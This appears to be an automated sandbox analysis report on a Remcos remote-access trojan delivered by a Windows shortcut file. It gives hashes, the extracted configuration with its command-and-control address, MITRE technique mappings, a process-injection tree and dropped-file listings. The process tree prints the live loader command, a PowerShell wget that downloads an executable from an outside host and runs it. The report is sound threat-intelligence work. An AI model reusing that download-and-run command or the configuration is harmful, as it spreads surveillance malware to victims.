remcos | f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd

General

Target

f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd.lnk
Size

1KB
MD5

9ee2b12e8974f00111bb9887f7f9e19f
SHA1

54d2830260e949b25d291c07ebc6d29d8b4f0af8
SHA256

f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd
SHA512

4d872cdd7c8428cd3b73f1664ffcc0380fe0171fc172b0262c6d8f9bd6d4e0679fd81387cc3d75cab7c04afc518c99b514459a98e082550edd3d7be3edb69c1c

Score

10^/10

remcos back-september discovery rat

Malware Config

Extracted

Family

remcos

Botnet

Back-September

C2

fullimmersion777.com:8090

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
hello.exe
copy_folder
windw
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
rimcsl-94LESJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2136	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	hello.exe

Executes dropped EXE 3 IoCs

pid	Process
2340	hello.exe
2796	DZIPR.exe
312	DZIPR.exe

Loads dropped DLL 2 IoCs

pid	Process
2796	DZIPR.exe
312	DZIPR.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 312 set thread context of 1128	312	DZIPR.exe	101

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\lnfast_x64.job	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hello.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DZIPR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DZIPR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2136	powershell.exe
2136	powershell.exe
2796	DZIPR.exe
312	DZIPR.exe
312	DZIPR.exe
1128	cmd.exe
1128	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
312	DZIPR.exe
1128	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 2844	3160	cmd.exe	90
PID 3160 wrote to memory of 2844	3160	cmd.exe	90
PID 2844 wrote to memory of 2136	2844	cmd.exe	91
PID 2844 wrote to memory of 2136	2844	cmd.exe	91
PID 2844 wrote to memory of 2340	2844	cmd.exe	97
PID 2844 wrote to memory of 2340	2844	cmd.exe	97
PID 2844 wrote to memory of 2340	2844	cmd.exe	97
PID 2340 wrote to memory of 2796	2340	hello.exe	99
PID 2340 wrote to memory of 2796	2340	hello.exe	99
PID 2340 wrote to memory of 2796	2340	hello.exe	99
PID 2796 wrote to memory of 312	2796	DZIPR.exe	100
PID 2796 wrote to memory of 312	2796	DZIPR.exe	100
PID 2796 wrote to memory of 312	2796	DZIPR.exe	100
PID 312 wrote to memory of 1128	312	DZIPR.exe	101
PID 312 wrote to memory of 1128	312	DZIPR.exe	101
PID 312 wrote to memory of 1128	312	DZIPR.exe	101
PID 312 wrote to memory of 1128	312	DZIPR.exe	101
PID 1128 wrote to memory of 2188	1128	cmd.exe	108
PID 1128 wrote to memory of 2188	1128	cmd.exe	108
PID 1128 wrote to memory of 2188	1128	cmd.exe	108
PID 1128 wrote to memory of 2188	1128	cmd.exe	108
PID 1128 wrote to memory of 2188	1128	cmd.exe	108

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\f5734ae475931dbb561fc5b636d5a7825d8d99efa8d4d9cdff7e89bf163613dd.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell wget http://lawyerconsult.top/AUGUST.exe -OutFile C:\Users\Admin\AppData\Roaming/hello.exe && C:\Users\Admin\AppData\Roaming/hello.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell wget http://lawyerconsult.top/AUGUST.exe -OutFile C:\Users\Admin\AppData\Roaming/hello.exe
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Users\Admin\AppData\Roaming\hello.exe
    C:\Users\Admin\AppData\Roaming/hello.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Users\Admin\DZIPR.exe
      "C:\Users\Admin\DZIPR.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2796
    - - C:\Users\Admin\AppData\Roaming\Ruy_driverv2\DZIPR.exe
        
        C:\Users\Admin\AppData\Roaming\Ruy_driverv2\DZIPR.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:312
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1128
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2188

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4348,i,11391966286255097843,10588851088187498028,262144 --variations-seed-version --mojo-platform-channel-handle=3884 /prefetch:8
1⤵
PID:4748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\689dd703

Filesize
1.2MB

MD5
ba7064aac0c4637a042a4dbca487672c

SHA1
df1a1c9daf8ffb940f6dba69f7b0827f091d8dd6

SHA256
c2b246632f7563f86e4f6b8c7b8acfab50850f0e0fb3ed6486ed2297112af40e

SHA512
7d1433fb180a802dafaf2499b5054b7f35a460a96c09e96258a4494e820b4fbf3d9abcfb05cf6a28e29895a924adce93cf15f4cdee539d91a7f396b2f937fb9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sonj2ypq.ser.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\hello.exe

Filesize
4.6MB

MD5
25860926414bf43383246f7c773a8d6c

SHA1
760390a4a14df085f4c841067f52c79409cdc93e

SHA256
a8e552944846a2f5e8fefea4a250046da29d74d1f58f7a868258e6ded9597958

SHA512
61825ef1b03f5516f2820faae3dad01911054debb714b2162fd28cdc7c26199eb6174eddb3e48a4b200c350a083a561a58bd2724496fcb71e87d4492e2ec5a07

Download Submit
C:\Users\Admin\DZIPR.dll

Filesize
346KB

MD5
ad28d4167571382569d2384ffd7bd2a9

SHA1
efc7534bcb1645d4056702e073519f571d8db77b

SHA256
f919a8e63ec0f2f05ac01a6cab4088c13fbf14a38b071cfa9f710c9e069462eb

SHA512
8f28867b46dd7a801cbf70d8d7fe5f2bfb8654a417c40ba264faf81af8bb1a28e1a1200fdc9828a4a4c6df0a13817055290c16f9468d311b8d8049a2439348d9

Download Submit
C:\Users\Admin\DZIPR.exe

Filesize
8.4MB

MD5
ec9ce1d67f98072281015c7726fba245

SHA1
e89b16265acf4a251b527ddf22830f2650987263

SHA256
9ab4145d5525ae741b80f4e66f505abba59adcbe01868dfef84fbe4450634cc1

SHA512
21db8f3ae325021589de9c2489ab2ce6814722a17a92476a56147478aa9767ce5c4769169f287060cc08ad76019178ba547fcef32074ef1afb1926845e7158e1

Download Submit
C:\Users\Admin\ekqqtq

Filesize
952KB

MD5
4649f3a4e58c6040b07f6d486c149a71

SHA1
64f8fc631c5fb4e5f6bc20c207047d8e2b500587

SHA256
5d81ca77492946aa2cfe00349342de8cceb317d8649bedbfd95992dca885f184

SHA512
4e1b229d30403b594e992fe0893e568161c8d901fe20461093d11159ab03b5dd410d1834bc64ac4ccc39d4f6b072946703f06eeb982d79b1c9a1b773b57013b7

Download Submit
C:\Users\Admin\ipqtwm

Filesize
70KB

MD5
f125e72b3968ca233ef3c7e2f4db34e7

SHA1
4fb34044ef18cedbd3ede4272c44416d3f11735c

SHA256
ced30560c6c0fc15cbdbdbc0d480dca6b41ce3183057e43b419dd6814a33db92

SHA512
b645d1eb685a69b9ca9bbdb1f4638af8ae151ddfb9527c423f7779971246ed60f981ce26ce8af2fc7b63164e7c13e9c6e98a7f148831a1e59318e60e5a39f881

Download Submit
memory/312-76-0x0000000075610000-0x000000007578B000-memory.dmp

Filesize
1.5MB

Download
memory/312-74-0x0000000075610000-0x000000007578B000-memory.dmp

Filesize
1.5MB

Download
memory/312-75-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/1128-80-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/1128-85-0x0000000075610000-0x000000007578B000-memory.dmp

Filesize
1.5MB

Download
memory/1128-82-0x0000000075610000-0x000000007578B000-memory.dmp

Filesize
1.5MB

Download
memory/2136-12-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2136-11-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2136-16-0x00007FFEC0000000-0x00007FFEC0AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2136-0-0x00007FFEC0003000-0x00007FFEC0005000-memory.dmp

Filesize
8KB

Download
memory/2136-6-0x000001EA366C0000-0x000001EA366E2000-memory.dmp

Filesize
136KB

Download
memory/2188-94-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-93-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-99-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-87-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download
memory/2188-88-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-91-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-92-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-98-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-97-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-95-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2188-96-0x0000000000A00000-0x0000000000A84000-memory.dmp

Filesize
528KB

Download
memory/2796-60-0x0000000073C20000-0x0000000073D9B000-memory.dmp

Filesize
1.5MB

Download
memory/2796-68-0x0000000000400000-0x0000000000C69000-memory.dmp

Filesize
8.4MB

Download
memory/2796-61-0x00007FFEDE290000-0x00007FFEDE485000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing